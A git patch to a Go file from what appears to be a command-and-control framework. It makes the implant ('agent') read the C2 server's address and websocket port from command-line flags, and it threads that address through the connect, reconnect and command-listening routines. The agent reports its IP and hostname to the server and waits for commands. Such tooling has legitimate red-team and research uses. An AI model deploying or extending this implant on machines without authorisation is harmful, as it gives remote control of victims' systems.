From 653bd91e94ad33fafefb6187b34c7b513753aeff Mon Sep 17 00:00:00 2001 From: Stefan Etringer Date: Mon, 23 Jun 2025 13:45:07 +0000 Subject: [PATCH] introduced command line args for server connection --- src/agentconnector/agentconnector.go | 109 ++++++++++++++++++--------- 1 file changed, 72 insertions(+), 37 deletions(-) diff --git a/src/agentconnector/agentconnector.go b/src/agentconnector/agentconnector.go index 51ee2ec..ff61641 100644 --- a/src/agentconnector/agentconnector.go +++ b/src/agentconnector/agentconnector.go @@ -2,9 +2,10 @@ package agentconnector import ( "encoding/json" + "flag" "fmt" "log" - "net/http" + // "net/http" "net/url" "os/exec" "os" @@ -17,12 +18,20 @@ import ( "github.com/gorilla/websocket" ) -const( - webServerAddr = "127.0.0.1:3333" - webSocketAddr = "127.0.0.1:5555" - registerURL = "http://" + webServerAddr + "/agents" - // wsURL = "ws://" + webSocketAddr + "/data" -) +// const( +// webServerAddr = "127.0.0.1:3333" +// webSocketAddr = "127.0.0.1:5555" +// registerURL = "http://" + webServerAddr + "/agents" +// // wsURL = "ws://" + webSocketAddr + "/data" +// ) + +// var ( +// webServerAddr string +// webSocketAddr string +// registerURL = "http://" + webServerAddr + "/agents" +// // wsURL = "ws://" + webSocketAddr + "/data" +// ) + type Agent struct { AgentName string `json:"agentName"` @@ -42,31 +51,31 @@ type Message struct { var conn *websocket.Conn -func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error { +// func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error { - form := url.Values{} - form.Add("agentId", agentId) - form.Add("agentName", agentName) - form.Add("agentType", agentType) - form.Add("IPv4Address", agentIp) - form.Add("addPort", addPort) - form.Add("hostname", hostname) +// form := url.Values{} +// form.Add("agentId", agentId) +// form.Add("agentName", agentName) +// form.Add("agentType", agentType) +// form.Add("IPv4Address", agentIp) +// form.Add("addPort", addPort) +// form.Add("hostname", hostname) - resp, err := http.PostForm(registerURL, form) - if err != nil { - return fmt.Errorf("Error registering agent: %v", err) - } - defer resp.Body.Close() +// resp, err := http.PostForm(registerURL, form) +// if err != nil { +// return fmt.Errorf("Error registering agent: %v", err) +// } +// defer resp.Body.Close() - if resp.StatusCode != http.StatusCreated { - return fmt.Errorf("Failed to register agent, status: %v", resp.Status) - } +// if resp.StatusCode != http.StatusCreated { +// return fmt.Errorf("Failed to register agent, status: %v", resp.Status) +// } - log.Printf("Agent %s successfully registered.", agentName) - return nil -} +// log.Printf("Agent %s successfully registered.", agentName) +// return nil +// } -func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error { +func connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error { wsURL := fmt.Sprintf( "ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s", webSocketAddr, @@ -81,7 +90,7 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam for { conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil) if err == nil { - log.Println("WeSocket connection established") + log.Println("WebSocket connection established") // logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339))) return nil } @@ -91,15 +100,15 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostnam } } -func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error { +func reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) error { backoff := 2 * time.Second maxBackoff := 1 * time.Minute for { log.Println("Attempting to reconnect to WebSocket...") - err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname) + err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname) if err == nil { - log.Println("Reconnection succesful.") + log.Println("Reconnection successful.") return nil } @@ -113,14 +122,14 @@ func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostn } } -func listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname string) { +func listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname string) { defer conn.Close() for { _, rawMessage, err := conn.ReadMessage() if err != nil { log.Printf("Connection lost: %v", err) - if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil { + if reconnectErr := reconnectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil { log.Printf("Critical error during reconnection: %v", reconnectErr) } continue @@ -201,9 +210,37 @@ func GetLocalIPs() []net.IP { return ips } +// func connectionArgs () (string, string) { +func connectionArgs () string { + // Get IP address and port of the server through the + var serverAddress string + // var serverPort string + var serverWebsocketPort string + + flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server") + // flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.") + flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server") + + flag.Parse() + + fmt.Println("Server address is at ", serverAddress) + // fmt.Println("Server web port is ", serverPort) + fmt.Println("Server websocket port is ", serverWebsocketPort) + + // webServerAddr := serverAddress + ":" + serverPort + webSocketAddr := serverAddress + ":" + serverWebsocketPort + + // return webServerAddr, webSocketAddr + + return webSocketAddr + +} // func main() { func StartServer(agentInteractivePort int){ + + webSocketAddr := connectionArgs() + // agentInteractivePort is only needed for interactive sessions agentName := "Agent-001" agentId := strconv.Itoa(randomInt(8)) @@ -214,15 +251,13 @@ func StartServer(agentInteractivePort int){ log.Printf("AgentId: %s", agentId) - - // if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil { // log.Fatalf("Agent registration failed: %v", err) // } - if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); err != nil { + if err := connectToWebSocket(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname); err != nil { log.Fatalf("Websocket connection failed: %v", err) } - listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname) + listenForCommands(webSocketAddr, agentName, agentId, agentIp, agentType, addPort, hostname) }